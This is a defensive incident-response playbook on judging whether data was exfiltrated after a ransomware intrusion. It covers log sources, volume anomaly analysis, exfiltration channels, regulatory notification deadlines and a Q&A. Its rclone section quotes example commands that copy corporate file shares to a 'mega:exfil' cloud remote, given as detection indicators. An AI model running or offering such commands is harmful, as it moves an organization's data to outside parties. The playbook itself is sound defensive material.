Data Exfiltration Response Playbook
The hardest question in incident response is "did they take our data?" Answering it requires combining data sources most organizations don't have, interpreting absence of evidence correctly, and making a regulatory notification decision under extreme uncertainty.
A ransomware IR is winding down. The attacker has been evicted, systems are being restored from backup. Then legal counsel asks: "Before we close this out — did they exfiltrate any data?" The IR team pulls the SIEM. No DLP alerts. No CASB alerts. The organization doesn't have data classification. What they have is 90 days of proxy logs, 30 days of firewall NetFlow, and EDR telemetry from the compromised hosts.
Legal needs an answer in 72 hours to determine whether GDPR breach notification is required. The IR team needs to produce a defensible answer — not "we don't know" and not a false certainty they can't back up — from incomplete evidence, under time pressure, in a situation where being wrong in either direction has serious consequences.
This is the hardest playbook in incident response. Not because the technical work is complex, but because the evidentiary standard is impossible to meet with certainty, and decisions worth millions of dollars ride on your best estimate.
Why Proving Exfiltration Is Hard
Proving that data was exfiltrated requires establishing three things in sequence: access, movement, and upload. Missing any one of them leaves the chain incomplete. Most organizations, after an incident, can demonstrate access — the attacker was in the system and had access to sensitive data. Movement and upload are much harder to prove definitively.
The Exfiltration Evidence Chain
══════════════════════════════════════════════════════════════════════
1. ACCESS — Did the attacker have access to sensitive data?
─────────────────────────────────────────────────────────
Evidence: Process access events, file open events, database
query logs, EDR file access telemetry
Gap: Many systems don't log file reads at the granularity
needed. "Process X ran" ≠ "Process X read file Y"
2. MOVEMENT — Did the data move to a staging location?
─────────────────────────────────────────────────────────
Evidence: File copy events, archive creation (zip/rar/7z),
large file creation in unexpected locations,
network file copy (SMB large write events)
Gap: In-memory operations leave no disk artifact.
Staging to cloud storage is often one API call.
3. UPLOAD — Did the data leave the organization?
─────────────────────────────────────────────────────────
Evidence: Proxy logs (upload volume, destination domain),
firewall NetFlow (large outbound transfers),
cloud storage API logs (if cloud was used),
DLP alerts (if DLP is deployed)
Gap: Encrypted channels look identical to normal HTTPS.
Without SSL inspection, you see volume not content.
══════════════════════════════════════════════════════════════════════
Proving exfiltration = establishing all three links in the chain.
Most IR teams can establish "access." Establishing "upload" to a
specific destination with a specific data volume is rare without DLP.
If an organization has no DLP, no CASB, and no SSL inspection, a sophisticated attacker can exfiltrate terabytes of data over HTTPS to a cloud storage provider, and it will appear in logs as: "large volume of HTTPS traffic to amazonaws.com." That is statistically normal for most enterprise networks. Nothing will alert. The exfiltration is invisible at the content level. This is why "we have no DLP alerts" is not the same as "no data was exfiltrated." It means "our monitoring infrastructure is not capable of detecting content-level exfiltration over encrypted channels." The response to this finding should be regulatory notification triage based on what data the attacker could have accessed, not a confident assertion that nothing was taken.
Data Volume Analysis Methodology
Even without DLP, proxy logs and firewall NetFlow give you upload volume data. This is not definitive proof of exfiltration, but it can establish whether an anomaly exists that is consistent with exfiltration, which is meaningful evidence for regulatory purposes.
Volume Anomaly Analysis Process
══════════════════════════════════════════════════════════════════════
Step 1: Establish baseline upload volume
─────────────────────────────────────────
From proxy logs: what is the normal daily upload volume per host?
Per user? Per subnet? For the organization overall?
Look at 30-60 days before the intrusion period.
Metric: Average daily upload bytes, standard deviation,
95th percentile (accounts for legitimate backup days)
Step 2: Identify anomalies during intrusion window
──────────────────────────────────────────────────
Compare upload volume on compromised hosts during the attacker's
known dwell time against the established baseline.
Significant anomaly threshold: >3x normal daily upload for host,
or upload to a destination not in the host's normal top-20 destinations
Step 3: Characterize the anomalous traffic
──────────────────────────────────────────
For anomalous upload events:
• Destination: what domain/IP received the upload?
• Protocol: HTTPS (encrypted — can't see content), FTP, custom?
• Volume: how many megabytes or gigabytes?
• Time: when during the intrusion period?
• Correlation: does it correlate with known attacker activity on that host?
Step 4: Categorize the finding
──────────────────────────────
CONFIRMED EXFILTRATION: Known exfiltration tool process (rclone,
MEGASync, WinSCP) + outbound upload + data access event
PROBABLE EXFILTRATION: Upload volume anomaly + timing correlation
with known attacker activity + unusual destination
POSSIBLE EXFILTRATION: Unusual destination + no volume anomaly
(data may have been small, or attacker was slow and deliberate)
INSUFFICIENT EVIDENCE: No upload anomaly, no logging gap explanation,
no known exfiltration tool
Exfiltration Channels and Their Log Sources
Attackers use different exfiltration channels depending on their sophistication, the data volume, and the defenses in place. Each channel leaves different evidence. Knowing which channels to check — and what evidence each leaves — is how you structure a systematic exfiltration investigation.
| Channel | How it works | Log source | What to look for | Detection difficulty |
|---|---|---|---|---|
| Web upload (browser/tool) | Upload to file sharing sites, cloud storage, Pastebin, attacker-controlled web server | Proxy logs with SSL inspection | POST requests to file sharing domains with large Content-Length; domains not in corporate baseline | Medium — visible if proxy logs POST sizes |
| Cloud sync client | rclone, MEGASync, OneDrive, Dropbox client — syncs local files to cloud storage automatically | EDR process telemetry, proxy logs | rclone.exe process with config flags, MEGASync.exe spawned from unusual parent, unusual cloud storage API traffic volume | Low for known tools — rclone specifically should be monitored |
| Email attachment | Attacker uses compromised email account to send sensitive files to external address | Email gateway logs, O365 Unified Audit Log | Large attachments sent externally from compromised accounts, external forwarding rules, high volume outbound from single account | Low — email logs are usually comprehensive |
| FTP/SFTP/SCP | Direct transfer to attacker-controlled server | Firewall NetFlow, proxy logs (if FTP proxy is in path) | TCP connections to port 21, 22, 2222 to non-corporate destinations during intrusion window; large byte counts | Low — port 21/22 to unknown external IPs is unusual for workstations |
| DNS tunneling | Data encoded in DNS queries — slow but bypasses many controls | DNS logs (query volume analysis) | High volume of DNS queries to a single domain, long subdomain labels (>30 chars), base64-looking subdomains | High — bypasses most proxy controls; requires DNS log analysis |
| USB / physical removal | Data copied to USB drive, printed, photographed | Endpoint USB device logs (Event 6416, EDR USB events) | USB mass storage device connected to compromised host during intrusion period; large file copy to removable media | Medium — requires endpoint USB logging to be enabled |
The rclone Problem
rclone is a legitimate, open-source command-line tool for syncing files to cloud storage providers. It supports over 40 cloud backends including MEGA, Google Drive, S3, Azure Blob, and attacker-controlled S3-compatible servers. It has become the default exfiltration tool for ransomware groups precisely because it is legitimate software, it is fast, and it produces traffic that looks identical to normal cloud backup operations.
rclone Exfiltration Detection Points
══════════════════════════════════════════════════════════════════════
1. PROCESS CREATION (EDR / Sysmon Event 1)
rclone.exe executed with suspicious flags:
rclone.exe copy C:\CorporateData mega:exfil --transfers=20
rclone.exe sync \\fileserver\finance mega:stolen
Look for: rclone.exe in user profile paths, temp directories,
or with config pointing to MEGA/anonymous providers
2. CONFIGURATION FILE (EDR file creation)
rclone creates .conf files with provider credentials:
%APPDATA%\rclone\rclone.conf
C:\Users\Public\rclone.conf
File creation in these paths by a compromised user or SYSTEM
context is a strong indicator
3. NETWORK TRAFFIC (proxy logs)
MEGA backend: HTTPS to g.api.mega.co.nz, *.userstorage.mega.co.nz
Transfers: large HTTPS POSTs or PUTs to cloud storage APIs
Timing: if rclone ran at 2 AM during the intrusion window,
HTTPS upload traffic to cloud storage at that same time
is strong corroborating evidence
4. VOLUME CORRELATION
rclone at --transfers=20 can exfiltrate gigabytes per hour.
A 10 GB exfil event is visible in firewall NetFlow even without
knowing the content.
The Regulatory Notification Decision
Determining whether a data breach triggers mandatory regulatory notification is a legal decision, not a security decision. The security team provides facts. Legal counsel makes the notification determination. But security must understand the thresholds so they can frame their findings correctly.
| Regulation | Notification trigger | Deadline | Who is notified |
|---|---|---|---|
| GDPR | Personal data breach — any unauthorized access to personal data of EU residents, including mere access without confirmed exfiltration | 72 hours from "awareness" to supervisory authority; without undue delay to affected individuals if high risk | Supervisory authority (DPA of lead EU member state); affected individuals if high risk |
| US State Laws (CA, NY, MA, others) | Unauthorized acquisition of personal information (name + SSN, financial account, health, credential) — most states use "acquisition" not just "access" | 30-90 days depending on state; some require "expedient" notification | Affected residents of that state; state AG in some states |
| HIPAA | Impermissible use or disclosure of protected health information (PHI) — "breach" presumed unless risk assessment shows low probability of compromise | 60 days from discovery to affected individuals; annual HHS report for small breaches; immediate media and HHS for 500+ individuals | Affected individuals, HHS, media (for large breaches) |
| SEC (public companies) | Material cybersecurity incident — "material" determined by reasonable investor standard | 4 business days after materiality determination (Form 8-K) | SEC (public disclosure) |
GDPR's 72-hour notification clock starts when the data controller becomes "aware" of the breach. Awareness is not defined as "certainty" — it means you have a reasonable degree of certainty that a personal data breach has occurred. This creates a difficult incentive structure: if you continue investigating to get more certainty, you may be consuming your 72-hour window. The regulatory guidance is that organizations should err toward notification when uncertain, noting in the notification that the investigation is ongoing. The mistake many organizations make is waiting for definitive confirmation before notifying — and then discovering they've missed the 72-hour window. Work with legal counsel on the notification decision before the window closes, not after.
Data Minimization as a Defense
The most effective defense against the exfiltration evidence problem is having less sensitive data in fewer places. Organizations that practice data minimization — deleting data they no longer need, not collecting data they don't use, restricting access to sensitive data to only those who need it — have a fundamentally simpler exfiltration answer: even if the attacker accessed systems X, Y, and Z, those systems did not contain regulated PII because we don't store it there.
Data Minimization Impact on Exfiltration Response
══════════════════════════════════════════════════════════════════════
Organization WITHOUT data minimization:
─────────────────────────────────────────
Attacker accesses finance file server
IR finds: 15 years of employee records, customer PII, financial data,
health insurance claims, SSNs, credit card numbers
Evidence question: What did they access? What did they take?
Notification decision: Must assume all of it — affecting thousands
Organization WITH data minimization:
─────────────────────────────────────
Attacker accesses finance file server
IR finds: Current-year financial reports, current-year AP/AR data
Employee records deleted after 7-year retention period
PII stored only in dedicated HR system (not on file server)
Credit card data not stored (tokenized at point of collection)
Evidence question: What did they access? What did they take?
Notification decision: Financial data accessed; limited PII exposure
(recent hire data only); credit card data not at risk
Data minimization is an IR strategy, not just a privacy practice.
Exfiltration Investigation Playbook
| Step | Action | Data source | Output |
|---|---|---|---|
| 1 | Map data assets on compromised systems — what sensitive data could have been accessed? | Asset inventory, data classification (if exists), system purpose documentation | List of sensitive data types potentially at risk |
| 2 | Review EDR for known exfiltration tools (rclone, WinSCP, MEGASync, 7-Zip followed by large file transfer) | EDR process telemetry for compromised hosts during dwell time | Binary: known exfiltration tool used (high confidence) or not detected |
| 3 | Analyze upload volume anomalies during intrusion period vs baseline | Proxy logs + firewall NetFlow | Volume anomaly assessment with destination characterization |
| 4 | Check cloud storage API destinations in proxy logs | Proxy logs filtered for cloud storage domains (mega.co.nz, dropbox.com, anonfiles, etc.) | List of cloud storage contacts from compromised hosts during dwell time |
| 5 | Review email gateway for large external attachments from compromised accounts | Email gateway logs, M365 Unified Audit Log | Any outbound large attachments from compromised accounts |
| 6 | Compile evidence finding (confirmed/probable/possible/insufficient) | All of above | Exfiltration evidence assessment with confidence level |
| 7 | Brief legal counsel on findings for notification determination | Security findings + data asset map | Legal notification decision (not a security decision) |
Q & A
Q: The attacker was in the environment for 30 days. Proxy logs only go back 14 days. How do you handle the gap?
The log retention gap must be documented as a finding in the exfiltration assessment and disclosed to legal counsel for notification purposes. You cannot say "no exfiltration occurred" for the period you cannot see. What you can say is: "For the period Day 1-16 of the intrusion (outside our log retention window), we are unable to assess exfiltration. For Day 17-30 (within retention), we found [specific findings]." If the bulk of the attacker's activity — based on host-level forensics, EDR telemetry, or other artifacts — was concentrated in the period within your log window, that is relevant context. But the gap exists and must be acknowledged. The response to this situation going forward is to extend log retention to at least 90 days for proxy and firewall logs. This is one of the most actionable post-incident improvements IR teams regularly recommend.
Q: EDR shows rclone.exe was executed on a compromised host. Is that definitive proof of exfiltration?
It is strong evidence of attempted exfiltration, but "definitive proof" requires corroboration. rclone execution alone has one gap: did the transfer succeed? If the attacker's cloud backend credentials were wrong, or the destination was blocked, rclone may have run without successfully transferring any data. To establish successful transfer: (1) Check proxy logs for HTTPS connections to rclone backend destinations (MEGA API, S3, etc.) at the time rclone ran. If the proxy logs show a successful HTTPS connection with upload traffic to the rclone backend domain, that's strong corroboration. (2) Check for rclone configuration file and the destination configured — this tells you where it was trying to send data. (3) Check volume: if firewall NetFlow shows outbound transfer volume to that destination matching the expected data size during the rclone execution window, the transfer almost certainly succeeded. For notification purposes, most legal counsel will treat confirmed rclone execution plus proxy connection to the configured destination as sufficient evidence to assume exfiltration occurred.
Q: Legal needs a "data exfiltration determination" in 24 hours for GDPR notification. You have 14 days of proxy logs, 30 days of NetFlow, and EDR on 60% of hosts. What do you deliver?
Deliver a structured uncertainty statement, not a binary determination. Frame it as: "Based on available evidence (14-day proxy logs, 30-day NetFlow, EDR on 60% of affected hosts), our assessment is as follows: [For systems with EDR coverage] No known exfiltration tool detected. [Upload volume] We identified [X] anomalous upload events totaling [Y] GB to [destination type] during the intrusion period. [Data at risk] Compromised systems hosted [data types including PII/PHI/financial data]. [Evidence gap] 40% of affected hosts lack EDR coverage; full proxy logs cover only 14 of 30 intrusion days. We cannot exclude exfiltration from uncovered systems or the pre-14-day window. Our confidence that exfiltration occurred: [high/medium/low] based on [specific finding]. Our confidence that exfiltration did NOT occur: low — insufficient evidence to exclude it." This gives legal counsel the honest picture they need to make the notification call. Overstating certainty (in either direction) creates liability.
Q: The attacker's group is known to practice double extortion — they encrypt AND publish stolen data. Should that change how you investigate exfiltration?
Yes, significantly. Double-extortion groups maintain a leak site where they publish proof of data theft (usually 5-10% of what they stole) before demanding payment. If the ransomware family is one known for double extortion (LockBit, ALPHV/BlackCat, Cl0p, Black Basta, among others), you should: (1) Monitor the group's known leak site and dark web presence for posts referencing your organization's name, domain, or sample data — this is a confirmed exfiltration signal that requires no log analysis. (2) Treat exfiltration as assumed for notification purposes unless you can definitively rule it out — these groups exfiltrate before encrypting as a matter of operational procedure; absence of upload evidence in your logs is more likely a logging gap than evidence it didn't happen. (3) Preserve all evidence in case law enforcement becomes involved (data publication may trigger criminal prosecution). The operational timeline of double-extortion groups: they exfiltrate first (days to weeks before encryption), then encrypt, then threaten publication. Your log evidence window for the exfiltration may predate the encryption event you used to detect the incident.
Q: After the incident, leadership wants to implement DLP to prevent this from happening again. What's your recommendation?
DLP is the right direction but the implementation detail matters enormously. Recommend a phased approach: (1) Data discovery first — before you can protect data, you must know where it is. Run a data discovery tool (Microsoft Purview, Varonis, Spirion) to classify and locate sensitive data across the environment. Without this, DLP rules generate massive false positives because they're pattern-matching against unclassified data. (2) Cloud Access Security Broker (CASB) for cloud egress — most modern exfiltration goes to cloud storage. A CASB inline with cloud traffic can see and block uploads to unsanctioned cloud destinations, even over HTTPS, far more effectively than endpoint DLP for cloud exfiltration specifically. (3) Endpoint DLP for physical exfiltration — USB, print, screenshot — is a separate problem that requires endpoint agent deployment. (4) Email DLP for attachment-based exfiltration — this is the most mature DLP use case and the easiest to implement with modern email security platforms. Implement DLP incrementally in monitor-only mode first — DLP in block mode on unclassified data causes significant business disruption and user frustration. Give yourself 90 days of monitor mode before considering block mode.
Q: The incident is ransomware and the group demands payment to delete the stolen data. If the ransom is paid, can you close the exfiltration investigation and tell regulators the data was deleted?
No, for several reasons. (1) There is no way to verify that an attacker deleted data after receiving payment — this is unverifiable by any technical means. Regulators do not accept "attacker promised to delete it" as evidence that data was not disclosed. (2) GDPR and most breach notification regulations do not have an exception for ransom-paid data deletion. The breach still occurred (unauthorized access happened), and the 72-hour notification obligation is triggered by the breach itself, not by whether the data remains in the attacker's possession. (3) Paying ransom does not affect the disclosure obligations that already attached at the time of the breach. The notification determination must be made based on what the attacker had access to, not what they promised to do after payment. If your legal counsel is suggesting that ransom payment eliminates notification obligations, get a second opinion — this is a known area of regulatory risk where organizations have made costly assumptions.